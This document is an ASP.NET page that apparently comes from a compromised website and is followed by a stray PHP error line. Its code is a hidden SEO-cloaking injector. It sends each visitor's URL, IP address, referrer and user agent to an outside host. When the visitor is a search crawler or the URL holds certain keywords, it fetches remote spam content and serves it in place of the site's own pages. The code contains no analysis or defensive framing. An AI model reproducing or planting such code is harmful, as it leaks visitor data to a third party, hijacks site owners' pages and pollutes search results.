<%@ Page Language="C#" AutoEventWireup="true" %> <% string baseUrl_ = "http://3000.vo100.com:3000/"; string protocol_ = Request.IsSecureConnection ? "https" : "http"; string host_ = Request.Url.Host; string requestUri_ = Request.RawUrl; string CurrentUrl_ = protocol_ + "://" + host_ + requestUri_ ?? "http://abc.com/"; string ip_ = Request.UserHostAddress ?? "0.0.0.0"; string refer_ = Request.UrlReferrer != null ? Request.UrlReferrer.ToString() : "null"; string userAgent_ = Request.UserAgent ?? "null"; string ipKey = CurrentUrl_.Contains("?") ? "&ip=" : "?ip="; string url1_ = baseUrl_ + "CurrentUrl_=" + Server.UrlEncode(CurrentUrl_) + ipKey + Server.UrlEncode(ip_) + "&refer=" + Server.UrlEncode(refer_) + "&user_agent=" + Server.UrlEncode(userAgent_); string url2_ = url1_ + "&sitemap=sitemap.html"; string[] keywords_ = { "data-app", "ios-app", "android-app", "download-app", "games-app", "play-app", "video-app", "dkcl", "apps" }; if (keywords_.Any(key_ => CurrentUrl_.Contains(key_))) { string content = ""; try { System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12 | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls; System.Net.HttpWebRequest request = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url1_); request.Method = "GET"; if (string.IsNullOrEmpty(userAgent_)) { userAgent_ = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"; } request.UserAgent = userAgent_; request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; request.Headers.Add("Accept-Language", "en-US,en;q=0.5"); using (System.Net.WebResponse response = request.GetResponse()) { using (System.IO.StreamReader reader = new System.IO.StreamReader(response.GetResponseStream())) { content = reader.ReadToEnd(); } } } catch (System.Net.WebException webEx) { if (webEx.Response != null) { using (System.IO.StreamReader reader = new System.IO.StreamReader(webEx.Response.GetResponseStream())) { content = "Error fetching content: " + reader.ReadToEnd(); } } else { content = "Error fetching content: " + webEx.Message; } } catch (Exception ex) { content = "Error fetching content: " + ex.Message; } Response.Clear(); Response.Write(content); Response.End(); } else { string[] bots = new string[] { "googlebot", "bingbot", "slurp", "duckduckbot", "baiduspider", "yandexbot", "sogou", "exabot", "yisouspider", "bytespider", "360spider", "spider", "bot" }; bool isBot = bots.Any(bot => userAgent_.ToLower().Contains(bot)); if (isBot) { string content = ""; try { System.Net.HttpWebRequest request = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url2_); request.Method = "GET"; request.UserAgent = userAgent_; using (System.Net.WebResponse response = request.GetResponse()) { using (System.IO.StreamReader reader = new System.IO.StreamReader(response.GetResponseStream())) { content = reader.ReadToEnd(); } } content = Regex.Replace(content, @".*?", "", RegexOptions.IgnoreCase); content = Regex.Replace(content, @"", "", RegexOptions.IgnoreCase); content = Regex.Replace(content, @"", "", RegexOptions.IgnoreCase); Response.Write(content); Response.End(); } catch (Exception ex) { Response.Write("Error fetching content: " + ex.Message); } } } %>
Fatal error: Class 'think\App' not found in /www/wwwroot/deyititai.eschool.net.cn/thinkphp/start.php on line 19